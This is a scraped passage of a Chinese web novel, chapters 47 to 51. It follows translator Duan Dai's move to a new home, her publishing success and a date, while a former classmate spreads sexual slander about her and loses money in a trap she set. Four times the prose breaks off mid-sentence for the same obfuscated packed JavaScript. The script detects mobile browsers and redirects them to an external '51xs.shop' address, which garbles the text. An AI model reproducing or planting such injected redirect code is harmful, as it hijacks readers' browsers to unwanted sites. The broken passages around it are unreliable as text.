突然发现总说实话好像也挺难听的。 货车拉着行李走在前面,黎尚轩开着车载着段黛跟在后面。正在段黛把外套脱掉扔到车后座的时候,手机振动了一下。 是邓辞发来的消息。 邓辞:【在吗?】 段黛最讨厌这种消息,沟通效率奇低。要是她在那还好,那如果不在呢?等个一天她再回复一个“在”,然后再等个一天对面说“我有点事”? 上次她就跟邓辞说过了,有事就说事,她看到了会回复,这样沟通起来效率也高一些。然而现在看来邓辞根本没把她的要求听进去,还在这效率低下地问她在不在。 更何况有些时候段黛也不好说自己在不在。如果是比较麻烦的事情,她更愿意装死。而这种试探性的“在吗”就打破了这种可能性,逼得她不得不在情况复杂的时候依然“在”。 于是段黛把手机丢到一边,既然你问了在吗,那我就是不在。 黎尚轩微微偏头:“有人找你?” 段黛抱着手臂:“没事。” 马上就是元旦假期了,恰好这一阵公司也不是很忙,所以邓辞就回了老家。曾经的高中同学大多留在家乡,像邓辞和段黛这样在外地的其实是少数。 曾经的班长打算在年假的时候举办一次同学聚会,邓辞在那之前先回来了,和几个关系不错的同学先聚一聚。老同学见面也就那几个话题,谁结婚了谁赚钱了,谁事业有成谁落魄不堪。邓辞出现的时候,曾经的几个兄弟正在看段黛劝学的短视频。见人来了,他们道:“哎,你还和段黛联系着吧?” 邓辞没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13707521|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到自己来了之后被问的第一句又是段黛。他的眉毛挑了挑,到底是把那点不愉快压了下来:“那肯定,我们都在临安,平时经常联系的。” “段黛在外网火了你敢信?”一个人笑了出来,“之前我刷到那个什么‘一命速通死亡电梯’感觉很眼熟,仔细一看这不就是段黛吗!热搜就是咱们老同学,这感觉挺神奇的。” 另一个人把手机推到的邓辞面前,给他看视频。手机上段黛的嘴皮子十分利索,哪怕是说着英文也不影响她的输出,若不是有字幕在,这连珠炮似的句子邓辞都听不懂是什么意思。 “哎,那段黛回国了没啊?我看她V博说稿件已经完成了,但是IP定位还在英国呢……也不知道这次同学聚会她能不能来……” 所有人的目光都看了过来,邓辞尴尬地笑了笑:“我也不清楚,跨国发消息不太方便……” “那你现在问问呗?要是回国了段黛肯定会回你吧?” 众目睽睽之下,邓辞不得不发出了“在吗”那两个字。有人说直接问她回没回国不就行了,邓辞却拒绝了这种单刀直入的提议。 他觉得一下问那么仔细,会有一种自己很在意段黛的感觉。 他不想那样。 等待了好半天段黛也没回复,邓辞摆了摆手:“看来大翻译家比较忙啊。” 同学们也没纠结这件事,但话题依然盘绕在段黛身上。 “当年我们都觉得你和段黛郎才女貌青梅竹马呢,没想到你对她居然没有那方面的意思,倒是我们嗑错CP了……” 邓辞叹息一声:“别开玩笑了,我只当她是普通朋友罢了。” 说着他摇了摇头:“也不知道段黛是不是在赌气,怎么总和人渣谈恋爱呢……” 一个人坐直了身子:“哎,段黛是不是被你拒绝之后就自暴自弃了,所以专门找渣男谈恋爱,想通过折磨自己的方式摆脱情伤吧?” 邓辞面上做出忧心忡忡的样子:“不会吧,段黛不是那种为了赌气就放任自己意外怀孕然后打胎的人吧……” 说完之后周围一片寂静,邓辞赶紧捂住了嘴:“唉,不过段黛应该也醒悟了,她出国前终于和那个渣男分手了。不然我真的看不下去了……” “段黛还……打胎了?” “天呐,看不出来……” “她这么不自爱的吗……” “分手之后怒而出国,好像小说剧情啊。她不会又在国外遇到什么真爱吧?” 邓辞的脸色变了变,笑道:“不是说外面都很歧视中国人吗,她应该……不会吧。” 几人闲聊着,慢慢也把话题从段黛身上扯开了。邓辞笑了一会儿,看着几个小时过去了段黛都没回消息,忍不住又发了一条:【人呢?】 片刻后一条消息弹了出来:【我说过有事直接说事,别问“在吗”这种浪费时间效率低下的问题吧?】 劈头就是一段数落,噎的邓辞脸上十分难看。其他人注意到邓辞的脸色不对,问到:“怎么了?” 邓辞深吸一口气,心中忽然生出一股恶念。 他笑了:“段黛在英国好像是和当地人住在一起吧?那个房东还有女朋友呢,啧啧……” 48. 乔迁之喜 大小纸箱整整齐齐地排在新家的地面上,搬家工人们完成任务后贴心地为他们关上了门,留下黎尚轩和段黛两人对着一地的箱子。 黎尚轩道:“我们是休息会儿再拆还是……现在拆?” 段黛深吸一口气:“现在拆吧。早开始早结束。” “那……开始吧。” 好在段黛是按东西类别打包的,基本上拆开一个箱子就可以确定大致需要放置的位置。黎尚轩优先布置卫生间和厨房这两个居住刚需的地方,找行李的时候才发现这两个位置的东西并不多,只有几条毛巾和几个电器。 段黛拆开昨天她就搬来的快递:“洗发水沐浴液之类的我刚好用完了,直接买了新的来。厨房的调味料也是,很多东西我都断舍离了,直接买了新的送过来。” “喔,这样倒是挺好的。” 能做到这么彻底断舍离的人不容易。黎尚轩之前遇到过不愿意扔东西的客户,于是全新的家居上非要放着老旧还脏的塑料瓶,看着非常滑稽。 接着就是衣柜之类的地方了。衣服里还是有些比较贴身的存在的,黎尚轩就不代劳了。他介绍了一下收纳的方式,并拿几件衣服做了演示。段黛很快就学会了,表示之后自己来就行。 接下来又是化妆品和写字台,黎尚轩把每个零件都掰出来给段黛看功能,接着把瓶瓶罐罐一个接一个地放了进去。 最后就是这次搬家最大的工程了——放书。 段黛的生活用品其实并不多,大部分也都做了断舍离换了新的,这次搬家占比最多的行李其实是她的书。 她将胶带一个一个撕开,剩下的纸箱子开盖之后里面全是书。黎尚轩深吸一口气:“开始吧。” 段黛的书分类起来比较麻烦。由于她有很多外文书,所以仅靠app是不太够的,黎尚轩为此还专门找了新的方法。两人合力把书一本一本地放到架子上,等将最后一本书放好时,已经是晚上九点了。 两人瘫在段黛新买的沙发上,一边一个:“累死了。” 黎尚轩长呼一口气:“本来想着今晚在你家厨房里简单做点吃的,就当是庆祝你搬新家了,结果你的调料啥的都还没买……” 段黛摆了摆手:“点外卖吧。” 黎尚轩盯着天花板看了一会儿,忽然道:“今天星期四哎。” “……” 一个小时后,两人面前是一堆炸鸡汉堡,还有两杯虽然是常温但因为外面寒冷而摸起来有些冰的可乐。 黎尚轩举起其中一杯可乐,和段黛碰了一下:“恭喜你乔迁新居!” 段黛将两支吸管分别插到杯子里:“这半年辛苦你了!” 空调呼呼送着暖风,冰凉的可乐顺着食道滑下,冒出的气泡在胃里翻腾,似是把这一天的疲劳都给卷走了。炸鸡的香气简单而纯粹,驱赶了饥肠辘辘。 吃饱喝足后,黎尚轩起身换鞋:“以后有问题随时联系,我就先回去了。” 段黛挥了挥手:“路上注意安全。” 按照一些不成文的习俗,搬新家后在家中要宴请亲朋好友,为新家增添一些人气。于是两天后,段黛邀请了关月兰、林若愚和裴斯羽来新家吃饭。 按照“宴请”的标准来说,只请了三个人确实太少了。但段黛并不想请一堆关系并不那么亲密的人来自己家虚与委蛇,更不想做什么无用社交,还不如只让愿意真心祝贺的人来。 门铃响起,段黛拉开门,先看到的就是裴斯羽,然后是跟在后面的关月兰和她的小尾巴林若愚。 看到里面开阔的书房后裴斯羽惊呆了:“段黛,你终于舍得给自己花钱了啊!” 她印象里段黛不是要帮哥哥就是要帮男友,甚至还有个不知所谓的异性朋友也偶尔来吸一口她的血。明明段黛赚的钱也不少,结果自己却过的紧巴巴的。 段黛伸手弯腰做出引路门童的“请进”姿势,笑道:“欢迎来到我的新家。” 关月兰和林若愚在裴斯羽之后进来,在看清了屋内的装潢时也不约而同的发出惊呼。关月兰拉着段黛的手道:“我知道二百平的房子很大,但是没想到这么大。” 林若愚虽然也惊叹于新家的开阔,但更多的还是被装潢的风格所吸引。她看着实木的线条和纯色的地面,好半天道:“感觉很有……质感。” 段黛比划了一下隔开的一个会客厅:“以后关姐再来找我商量新稿件的时候就不用缩在那个狭窄的客厅里,现在有了会客厅了。” 三人在书房里仔细观摩了一番,一会儿感慨“有钱真好”,一会儿又道“就应该把钱花自己身上”。裴斯羽拍着段黛的肩膀:“你总算是想开了。” 段黛笑道:“我和陈方烨分手了,我哥那边也不会再管了,现在感觉整个人都神清气爽了。” 裴斯羽:“早就该这样了。” 看过之后三人在沙发上坐了下来,段黛从架子上拿下来一个箱子抱到地面上:“我在英国给你们捎的礼物,本来一回来就该给你们的,但是一直忙着搬家,今天总算有空了。” “哇——” 林若愚拿到书后感动地喜极而泣:“我总算是拿到了!” 裴斯羽和关月兰要的护肤品和化妆品。关月兰道:“海关没拦你?” 段黛:“我把盒子拆下来展开放在另一个包里,这样就不会被认成代购了。” 关月兰比起大拇指:“牛。” 聊着聊着就到了饭点,新家的厨房很大,几个人一起挤了进来要帮忙一起准备。裴斯羽问:“中午吃什么?” 段黛把电锅搬了出来:“天冷了,中午吃火锅。” 这是之前段黛租房子时候用的锅,上面可以拼不同的锅,即可以当鸳鸯锅用,也可以一边涮火锅一边烧烤。搬家之后这个锅就退居二线了,但聚会的时候拿出来用一下还是很香的。 在段黛给锅插电的时候,另外三个人把食材端了出来。段黛其实一早就把各类食材洗好切好了,远不需要客人来帮忙。确定了四个人想要的汤底都一样后,段黛果断把另一侧换成了烤盘:“这样我们就可以火锅烤肉双管齐下了。” “好耶——” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13720005|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锅摆在正中央,关月兰和林若愚坐在一侧,段黛和裴斯羽坐在另一侧。随着汤底温度的升高,热气渐渐氤氲开来。 关月兰看着坐在对面的两人,道:“我还是第一次知道你和斯羽认识。” 虽说裴斯羽不在编辑室,但关月兰在给新书做宣传的时候少不了要和新媒体运营做对接,所以和裴斯羽还算是比较熟。两人共事了这么久,完全没想到还有个共同认识的人。 段黛浅浅一笑:“我们是同学。” 裴斯羽将肉片倒进了锅里:“摆脱掉烂人了,阿黛,你要扶摇直上了。” “确实是应该摆脱烂人,你之前谈的那个男朋友事真多,”关月兰啧啧两声,“自从你想开之后效率高多了,拖了两年的稿子都能交上来了。” 林若愚搭话:“现在出版社的流程可快了,估计过年前《经录》就能发行了。” 段黛略有些诧异:“这么快?我还以为怎么也得三四个月呢。” “现在这些流程可快了……” 五花肉放在炽热的烤盘上发出滋啦一声响,空气中弥漫着孜然与油脂的香气。煮好的蔬菜裹满了麻酱,烤好的肉片在干碟里翻滚。温热的食物滑入胃中,将暖意蔓延至全身。 裴斯羽咽下一大口果茶:“冬天就应该缩在家里吃火锅,太爽了!” 酒过三巡,段黛抬起头来。林若愚低头认真吃东西,关月兰拿着厨房剪和烤盘上一大块肉较劲。 段黛缓缓开口:“其实我在伦敦的这段时间,还做了一件事情……” 关月兰依旧盯着烤肉,并没有抬头:“嗯?” 段黛:“我趁着休息的时候,翻译了一本日轻。” “……” 三个人同时抬头看向段黛,眼中全是难以置信。 裴斯羽先开了口:“我知道你学过日语……不过你不是只翻译英语和法语吗?” 林若愚则道:“趁着休息的时候翻译了一本……啊?这是一种很小众的休息方式?” 关月兰一直握着厨房剪,吃惊地都忘记手上的动作了。 “……我知道你断情绝爱后效率很高,但没想到会效率这么高。” 段黛:“想着放松的时候看点有趣的东西……嗯,我记得咱们社也打算引进日轻了是吧?” “确实是,”关月兰点头,“不过毕竟我不负责日语作品的引进,如果你想的话……我到时候和社里联系一下,找一个那边的编辑和你对接。” 段黛莞尔:“好,麻烦你啦。” 林若愚惊叹:“段老师真是学识渊博啊……不仅有英语和法语,现在连日语也有了。不过……” 关月兰:“怎么了?” 林若愚歪头,说出她的想法:“段老师以经典向的文学翻译著称,日轻是偏亚文化二次元之类的,和段老师以往的风格并不相同。并且据我所知,日轻的作者和译者都会在一定程度上使用化名或笔名,所以段老师要不要考虑一下……” 段黛接话:“发表日轻的翻译作品时不署本名,而是采用笔名?” 49. 段黛世界名著新译计划 林若愚不好意思地点了点头:“对,我自己觉得这样或许会更好一些……” 段黛却道:“其实我也是这么想的。这本日轻和我以往的译文作品的风格比较割裂,虽说放在一起也无伤大雅,但换一个笔名稍微做一下切割或许会更好一些。” 裴斯羽把刚夹出来的香菇吃掉:“打算取什么名呢?” 段黛:“实不相瞒,我想了一个月都没想好……” 关月兰笑了笑:“那你抓紧想吧。到时候我拿你的稿件给出版社看,在新编辑来找你之前把笔名想好。” “好嘞。” 关月兰又道:“从明年开始,有一大批作品进入了公版领域,所以我们社到时候会翻译很多作品,并且卡着日期发行……” “虽然《经录》还在制作阶段,但咱们社已经能预见到时候发行的盛况了。所以临译社有个计划。” 段黛隐约察觉到了什么,当即坐直了身子:“什么计划?” 关月兰:“段黛世界名著新译系列。” 段黛愣怔片刻,张了张嘴,半晌才挤出一个词:“这是……” 关月兰点了点头。 “这将是以你为品牌的译文系列。” 巨大的喜悦席卷全身,让段黛一时间反应不过来。还是林若愚率先发出欢呼:“恭喜段老师!” 裴斯羽也道:“我说什么来着?摆脱掉烂人,你就要扶摇直上了!” 段黛面色微红:“没想到临译社这么重视我……” 关月兰笑道:“这也是全编辑部的人做出的决定。你最新两本译文成熟老练,再加上你本身就有一定的话题度,所以以你为品牌是最好的选择。不过也别高兴的太早——” 迎着段黛紧张的目光,关月兰缓缓解释:“作品进入公版势必会引来各家出版社争相出版,除了对译文质量本身的要求和装帧设计的别出心裁,抢占先机也是很重要的一点。临译社明年的出版计划是卡着进入公版的时间来的,所以——” 她伸出手指来在桌面上敲了敲:“要按时交稿啊,段黛。” 闻言段黛松了口气。她还当是什么呢,原来就是按时交稿啊。 “现在你的效率倒是好起来了,不过我们社都记得你以前开天窗的事……”关月兰叹了口气,“现在的状态非常好,要保持下去啊。” 关月兰是看着段黛“长大”的。 她接手了段黛的第一本译作,从稚嫩但活泼的文风中看到了段黛身为翻译作者不同寻常的灵气。于是她开始和她合作,将她因为一些稀奇古怪的想法而找出来翻译的作品一一审读。 那时的段黛小心翼翼中又有些莽撞。她总是因为身边那些拖后腿的人而耽误正事,在拖过了截稿日期后又可怜巴巴地道歉,气的关月兰拽着她的耳朵说有道歉的功夫不如赶紧写。 关月兰又好气又好笑,可看到稿件之后又会平息怒火。 段黛的译文,有种能够安抚人心的力量。所以她始终没有把段黛这种棘手的作者丢给新人编辑,而是一直追着她,根据她的秉性调整自己的工作。 她也曾在夜深人静加班时叹息一声,不知道段黛什么时候才能“长大”,让她省心一些。 没想到这一天突然就来了。 段黛突然就“长大”了。 她克服了业内评价她的缺点,按时甚至提前交稿,文风在颇具个人特色的同时又成熟老辣。她不会再给任何人添麻烦,在自己身边竖起一道墙,划开与他人之间的边界。但她又能熟练地处理好出版社内的人际关系,让只知道她开天窗的编辑们都对她赞赏不绝。 关月兰在高兴的同时又有几分担忧。 为什么段黛会突然就变得这么成熟了? 在她放飞自我的那个月……到底发生了什么事? 段黛连连点头:“放心,我绝对不会在这方面拖出版社的后腿!” “好,”关月兰举起奶茶杯,深吸一口气,“我就知道我当年没看错人!” 12月31日这天,段黛收到了赵玉兰的消息:【明天就是元旦了,回家吃饭吗?】 段光耀和赵玉兰从段墨口中知道了段黛已经回国的事,但或许是因为心虚,段黛没联系他们,他们也不敢主动找来。直到元旦了,老两口才终于找到一个借口,来给段黛发消息。 段黛依旧是婉拒:【新书要发行了,出版社的事情比较多,我就不去了。】 段黛才不会去考虑怎么在父母面前伪装,也不打算维护什么家和万事兴的假象。她不需要伪装,做了亏心事的不是她,需要担惊受怕自我内耗的应该是段光耀和赵玉兰这老两口。 收到拒绝的消息后赵玉兰也不敢多说什么,只不痛不痒地说了要劳逸结合。几分钟后段墨又发了消息来:【元旦你都不来看爸妈?】 段黛:【毕竟我很忙,你要是心疼的话就代替我多陪陪爸妈吧。】 段墨气不打一处来。 时钟从23:59跳到了0:00,新的一天到来,新的一年也到来。手机不停地震动着,之前接触过的朋友纷纷发来新年祝福,段黛礼貌地挨个回复“同乐”。 黎尚轩也发来了消息:【新年好呀,是在新家跨的年吗?】 段黛:【是呀,我懒得出门凑热闹,在家就挺好的。】 黎尚轩:【猜到了。正好我做个售后回访:新家住起来怎么样,有什么不顺手的地方吗?】 段黛:【住着太舒服了,我每天睁开眼都要感谢一下黎大设计师。】 黎尚轩发了个大笑的表情包:【那我就放心了。】 黎尚轩:【明天元旦假期,我们的段大翻译还要工作吗?】 段黛:【也不是不可以休息的。】 黎尚轩:【那我可以约你一起……看个电影吗?】 段黛:【什么类型的电影?】 黎尚轩:【你喜欢什么类型的?我看新上映的有文艺爱情片、科幻动作片,还有国产悬疑之类的……】 段黛:【文艺片哒咩。国产悬疑怎么样?】 黎尚轩:【听说评价还不错。】 段黛发了个“OK”的手势。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13724504|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎尚轩:【我看了一下……电影是中午十一点半开始,那我十一点来你家楼下接你,看完电影之后再一起吃饭怎么样?不过吃饭的时间有点晚,不知道你会不会饿。】 段黛:【问题不大,明天放假,饭点吃饭的人肯定多,我们半下午去也挺好的。】 黎尚轩:【那行,明天你不用着急下来,我到了后给你发消息。】 于是第二天段黛在收到黎尚轩的消息后立刻提着包下了楼。黎尚轩提前五分钟到的,而段黛也是提前五分钟收拾好的,一切都莫名其妙地刚刚好。上车后段黛看到黎尚轩穿着一身黑色的大衣,微微敞开的衣摆里面能看到一丝褶皱都没有的衬衣和颇具设计感的领带。 “不愧是设计师,穿搭很好看啊。” 黎尚轩面色如常:“多谢夸奖。” 段黛系上安全带,并没有注意到他微红的耳唇。 车子缓缓启动,从小区开出驶入马路。段黛随口道:“最近工作忙吗?” “不忙。快过年了,年前我不打算再接单了,现在很闲。” 段黛若有所思道:“也是,跟进一个案子怎么也得三四个月,休息一下也好。” 黎尚轩道:“你现在还在工作?” 段黛笑道:“出版社那边还在选题,等决定下来就会找我签翻译合同了。现在我也算是在休假吧。” “那挺好,”黎尚轩莞尔,“就让我们一起好好享受假期吧。” 在段黛进入电影院的时候,段墨自己在父母那里吃了午饭。一家三口坐在餐桌前异常沉默,和动不动放鞭炮的窗外截然不同。 段墨知道这是怎么回事。之前段黛在国外也就罢了,现在都回国一个月了还不和父母见面,这怎么看怎么都不对劲。饭后段墨也受不了这愁云惨淡的气氛了,穿上外套就要出门:“我去问问段黛,她到底是怎么想的!” “哎!别去!”赵玉兰一把拉住了段墨。她重重叹了口气,眉目间全是苦涩:“你妹妹她……她……” 段墨把她的手推开:“那还能怎么样?就这么一辈子不见了吗?” “……” 段光耀慢慢走了出来:“算了,你去看看也好。一家人哪有隔夜仇呢,总是这样……叫人看了笑话。” 赵玉兰看了看自己的丈夫又看了看儿子,最终道:“也是,再往后就过年了,春节总要一家人一起过的。” 段墨于是还是走了。他开车来到了段黛曾经住过的小区,走到熟悉又陌生的楼下,按电梯上了楼。 站在出租屋的门前,段黛握紧了拳头。千言万语涌上心头,让他一时间理不出头绪。一会儿见到了段黛应该说什么?要为爸妈说话吗?还是直接指责她不孝? 他站了十多分钟,指关节都被捏的发白了。 终于他下定了决心,叩响了房门。 “哒,哒,哒。” 一片寂静。 无人应答。 段墨愣了一下,又敲了敲,并把耳朵贴在了门上。 “……” 段黛居然真的不在家? 50. 其实全是坑 段墨像上次一样,又在楼道里坐下了。 段黛和黎尚轩看完电影出来,热烈地讨论着方才剧情的反转。 段墨坐在楼道里。 段黛提议去一家江浙菜餐厅,黎尚轩欣然同意。 段墨还是坐在楼道里。 两人吃过饭之后又开车去兜风,段墨依然坐在楼道里。 冬季的白天是比较短的,很快天就黑了。段墨呆呆地看着楼道里的光线越来越昏暗,手指点开了和段黛的聊天框,却始终没有勇气把“你在哪”三个字发出去。 直到一个中年女人从电梯里出来,看到段墨时吓了一跳:“你坐在我家门口干什么?” 段墨愣了一下:“你家门口?” 中年女人正是这间房子的房主,段黛的前房东。房东一脸戒备地看着他:“你有什么事吗?” 段墨懵了一会儿,指着房门问:“这不是段黛家吗?” “这是她租的房子,我才是房主。而且她已经退租搬走了,你有什么事吗?” 房东明天要带人来看房子,所以今晚过来稍微收拾一下,没想到就碰到这么一出。段墨更震惊了:“段黛退租搬走了?她去哪了?” “这我怎么知道?我警告你别总在这晃,要是影响新房客看房了你可赔不起……” 段墨不知道自己是怎么回到车上的。楼道里虽然没有风却依然寒冷,冷的他到骨头缝里都是冰的。回到车里被空调吹了很久,他才感觉自己僵硬的身体在慢慢软化过来。 他深吸一口气,打开手机,终于给段黛发了消息:【你搬家了?】 此时的段黛正在看西湖夜景,她选择忽视这种会影响她心情的消息。不过又有一条消息发过来,是一个很久没联系的高中同学发的。 【段黛,我们高中同学聚会,那个邓辞总是把你的私事往外抖。我知道你们关系好,但是……还是稍微警惕一下他吧。】 段黛微微挑眉。 哦? 邓辞在家乡过了元旦,晚上和高中同学们聚了餐。今天来的人不少,大约能有之前全班人数的一半,并且来的人大多是男生,女生比较少。 “先简单聚一下,过年了咱们再聚。”班长笑道。 之前的体育委员问:“段黛已经好几年没来参加同学聚会了,今年她会来吗?” 邓辞刚想开口,班长却先说话了:“段黛说今年不回来,所以今年也不会参加同学聚会。” 邓辞松了口气。 要是段黛来了知道他都背着她胡说八道了些什么,那可就不好办了。 吃饭的时候大家自然而然地谈起了段黛,有几个面相猥琐的男生道:“听说国外那方面都挺乱的……” “害,谁都知道结婚别和出国留学过的人结婚,都不知道是被玩了多少次呢。” “我听说有些白男就喜欢包养亚女,好像是因为本国女人看不上所以在亚女身上找优越感?” “哎,段黛去伦敦的时候不是住在一个艺术家家里吗?” “艺术家?是那种画脱光了的模特的艺术家吗?” 猥琐的笑声在包间内回荡,班长微微蹙眉:“你们这么说,不太好吧。” 马上就有人道:“随便聊聊嘛,那么认真干什么。” 邓辞也笑:“你们别管那么多,段黛出国前已经分手了,单身嘛,想做什么就做什么,咱们没资格指手画脚的。” “说起来咱们段大翻译会堕落还是因为在邓辞这受了情伤啊……啧啧啧,邓辞,你罪过不小噢……” 有个女生往后缩了缩,怯怯开口:“邓辞,段黛真的对你表白过吗?” 包间内突然安静了。 邓辞哆嗦了一下,扭过头来,笑道:“怎么了,有什么问题吗?” 女生看了他一眼,说出了自己的疑惑:“可是……可是段黛以前追星的时候喜欢的就不是你这个类型的,她后来谈的男朋友也都是以前喜欢的男明星那类……我不觉得她会喜欢你呀……” 邓辞笑了笑:“这我怎么知道呢?她向我表白是在初中,后来追星就是高中时候的事了吧,可能是想换个类型转换一下心情呢?” 马上有人应和:“这么多年了,段大翻译还没放下邓辞呢哈哈哈……” 女生还是不解:“你说她放不下你……那她为什么不断地和别人谈恋爱啊?她放不下你这件事有什么依据吗?” 邓辞面不改色心不跳地撒谎:“她每次失恋都会来找我,问我真的不能给她一个机会吗。” 说着他还惋惜地叹了一口气:“我劝她别再作践自己了,就算她找别人谈恋爱也不会让我吃醋的,到头来伤害的都是她自己……唉。但是我知道同情不能转变成爱,不喜欢就是不喜欢,我不能因为可怜她就和她在一起啊,那样对段黛也是不负责。” “……” 女生不再说话了,只是沉默地看着手机。 一顿饭吃完,邓辞心满意足地打车回了家。这次他也成功在老同学面前树立起了自己的光辉形象,让看起来混的最好的段黛在他们的眼中只是个放荡的女表子。他躺在床上打了个嗝,呼出来的酒味儿异常难闻。他挥了挥手,扇掉脸前的怪味儿:“啧……” 一会儿去洗个澡吧。 放在裤子口袋里手机忽然震了起来,震动的时间比平常普通消息要长。邓辞给公司设置了特别关注,震动的时长会更长一些,方便他第一时间接收工作消息。他赶紧摸出手机,看到了公司群里总经理艾特了全体成员。 【紧急事件,新动画爆出问题即将下架,还在临安的员工马上来公司一趟,不在临安的员工尽快赶回。】 邓辞现在可不在临安。他伸了个懒腰,这回在家乡也呆的挺久了,明天订张高铁票回去吧。 他懒洋洋地点开了图片,上面是涉事作品名单。刚看了两行邓辞猛地坐了起来:“什么?” 出事的动画有十多部,而他投资的那两部小说改编的动画正在其中!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13728635|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 晚上九点,黎尚轩把段黛送到了楼下:“今天开心吗?” 段黛扬起嘴角:“很开心,好久没有这么放松地玩了。” 黎尚轩莞尔:“那就好。” 段黛下了车,挥手和他道别。 进入电梯之后,段黛拢了拢袖子,从口袋里摸出了手机,给方才发消息的人回消息:【哦?他说了我什么?】 【……】 就在对面断断续续地发着消息时,手机震动了一下,弹出了新闻消息。 ——动画区大V联合吐槽,多部动画侮辱女性…… 段黛轻轻笑了。 她倒也没给邓辞挖多大的坑。 日轻在某种程度上和国内的网文有些相似,但因为限制较少而更“野蛮生长”一些。就像网文分男频女频一样,日轻的创作者也是有男有女的,相应的自然也有不同的读者群体。 开后宫向的日轻早些年还是很火的,其中也不乏非常优秀的作品。但近些年来随着女性主义的不断深入人心,越来越多的女性意识到了从前没有注意到的困境和歧视。过去已有的作品暂且不谈,新创作出来的作品是一定要大体上符合当下的社会价值观的。 引进的日轻会和动画一起进入国内,在各个平台播放流传,甚至会以此为IP大肆宣扬,这就和只是缩在网站里供特定受众阅读的网文不一样了。作品里所有的问题都会被大众审视,原作者远在海外当然无所畏惧,承受怒火为此买单的是砸钱投资的人。 如果不需要翻译的话,段黛看书实际上是非常快的,几十万字的小说一天一本。她很快就圈出了味儿特别冲的小说,林林总总挑了毛病最多的十几本出来。这些书里不仅是男主开后宫这样无伤大雅的问题,也不是随便嘴两句女角色的问题,而是有“真萝莉(未成年人)”、乱|伦(兄妹、姐弟、母子、父女)甚至洗白战争女性苦难等等擦边球。 虽然没有辱华、偷文化、扭曲历史等需要国家出面的问题,但这些小毛病足以让比较清醒的人震怒。 毕竟问题大的作品也没有那么多,段黛就算真找到了单独推荐给邓辞说不定也会被识破。只有这种小毛病,像邓辞这样因为是既得利益者所以不在乎的部分男性就看不出有什么问题,堂而皇之的就把钱投了进去。 邓辞虽然警惕,但也没想到那十几本作品本本都有问题。他只考虑到了那些比较严重的暴雷情况,却没想到无论他选哪一本,都是踩进了段黛给他挖好的坑里。 邓辞这些年靠投资赚的可是盆满钵满,熟练之后胃口就大了,投进去的自然也不是小钱。 电梯门打开,段黛将手指按在了智能门锁上。识别出指纹后大门发出“滴”的一声响,她进门后先脱靴子,再将外套脱下。 所以,这次投资失败,会让邓辞损失多少呢? 空调启动,开始给房间升温。段黛倚靠在沙发上,给那个善意提醒自己的同学回消息。 【多谢你,我知道了。】 51. 吃了我的都是要吐出来的 元旦假期之后,《经录》中译本正式发行,当天就在V博上了热搜。来自各大高校的相关专业的教授讲师纷纷表示《经录》对于他们的研究和教学意义重大,一时间掀起了购买狂潮。 ——之前关注译者段黛的V博时就注意到这本书了,一直在想这是一份什么样的文献。没想到有大惊喜! ——临译社卖了小半年的关子,本来还想说它们虚假宣传呢,但是发行之后打的原来是我的脸,《经录》值得! ——原来文森特被段黛拎着耳朵赶稿的时候,段黛是在翻译《经录》啊。 ——哈哈哈当时段黛还在酒吧劝学呢。 ——临译社:知名译者段黛在伦敦采风调查,深入乡村了解口口相传的民俗歌谣,走遍当地图书馆寻访资料,最终完成了这本《经录》的翻译…… 研究英国历史和英国文学等相关领域的人几乎人手一本《经录》,关月兰盯着加印了好几次,段黛的名字也在专业出版的领域闪闪发亮。 在征得了段黛的同意后,临译社把段黛出国时的V博内容搜集起来,还有从外网传到国内已经电子包浆的“段黛劝学”视频,以及文森特被段黛push按时交稿的ins内容都找到了一起,整理成了创作小故事。读者们看完复杂艰涩的文献后,再看看有趣的译者小故事放松心情,同时还能增加新书的话题度,可谓是一举两得。 在《经录》如火如荼的同时,段黛闲暇时翻译的日轻也进入了校对流程。她翻译的那本日轻是非常纯爱向的言情小说,情感细腻极致拉扯,让人看了都忍不住鼻尖酸涩的那种。临译社得知段黛居然在翻译那么晦涩的东西的同时还能分出精力来写这么缠绵的文字后,一众编辑集体大跌眼镜。 